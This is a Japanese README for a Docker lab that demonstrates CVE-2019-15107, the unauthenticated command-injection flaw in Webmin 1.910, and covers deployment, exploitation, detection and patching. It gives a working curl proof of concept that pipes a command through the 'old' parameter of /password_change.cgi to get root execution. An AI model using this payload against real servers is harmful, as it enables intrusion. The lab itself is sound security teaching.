
Dockerベースのラボで、Webminの認証不要RCEであるCVE-2019-15107を実演し、デプロイ、悪用、検出、および修復を扱います。
本プロジェクトは、Webmin に存在する重大なリモートコード実行 (RCE) 脆弱性である CVE-2019-15107 を、制御された隔離された Docker 環境内で実証するものです。このラボでは、デプロイ、悪用、検出、修復に至るまでの脆弱性のライフサイクル全体を扱います。
1.Docker Desktop (インストール済みかつ実行中)
2.Docker Compose
3.curl.exe をサポートするターミナル / PowerShell
1.OS (ローカルホスト環境)
2.ポートの可用性: ホストマシン上でポート 10000 が空いている必要があります。
1.アプリケーション: Webmin
2.脆弱なバージョン: 1.910 (影響を受けるバージョン: 1.880 から 1.920)
3.修正/パッチ適用済みバージョン: 1.930 以降
4.脆弱性の種類: OS コマンドに使用される特殊要素の不適切な中和 (CWE-78)
5.CVSS スコア: 9.8 (Critical)
1.このプロジェクトリポジトリをローカルマシンにクローンまたはダウンロードします。
2.ターミナルを開き、docker-compose.yml を含むプロジェクトディレクトリに移動します。
3.システム上で Docker Desktop が起動していることを確認します。
プロジェクトのルートディレクトリから以下のコマンドを実行し、脆弱なコンテナをデタッチモードでプルして起動します: docker-compose up -d
コンテナの状態は以下を実行して確認できます: docker compose ps
Web ブラウザで以下のアプリケーションインターフェースにアクセスします: https://localhost:10000 (ローカル SSL 証明書の警告を承認してください)。
実行中のコンテナ環境を停止して削除するには、以下を実行します: docker-compose down
この脆弱性は、未認証のパスワード変更エンドポイント (/password_change.cgi) に存在し、入力パラメータが適切なサニタイズなしにシステムシェルへ直接渡されます。
概念実証 (PoC) として診断コマンド (id) を実行するには、ターミナル (PowerShell/Bash) で以下のコマンドを実行します:
curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"
悪用の成功: サーバーが注入されたパイプ文字 (|) を処理し、root 権限での未認証コマンド実行がトリガーされます。ターミナルには、コンテナシェルのフィードバック (uid=0(root)) とともに HTML レスポンスの証拠が出力され、リモートコード実行の成功が確認されます。
1.バージョン識別: 実行中の Webmin インスタンスのバージョンを検査し、脆弱な範囲 (1.880 から 1.920) に該当するかどうかを確認します。
2.ネットワーク / ログ監視: Web サーバーのアクセスログまたは WAF ログを検査し、/password_change.cgi 宛ての受信 HTTP POST リクエストで、パラメータ値内に疑わしいシェル制御文字 (| や ; など) が含まれているものを探します。
1.アップグレード: Webmin をバージョン 1.930 以降にアップグレードします。これにより、基盤となるモジュールに渡される入力が適切にサニタイズされます。
2.アクセス制御: ファイアウォールまたは VPN トンネルを使用してポート 10000 へのネットワークアクセスを制限し、信頼できないネットワークへの直接的な露出を防ぎます。
1.Docker デーモンが実行されていない: 接続エラーが発生した場合は、Docker Desktop が完全に起動していることを確認し、docker version を使用して検証してください。
2.ポート競合 (10000 が既に使用中): 他のローカルアプリケーションやサービスがポート 10000 を占有していないことを確認してください。
3.PowerShell の curl 構文エラー: Windows PowerShell では、標準の curl ではなく curl.exe を使用して、PowerShell 組み込みの Invoke-WebRequest エイリアスによるパラメータマッピングの問題を回避してください。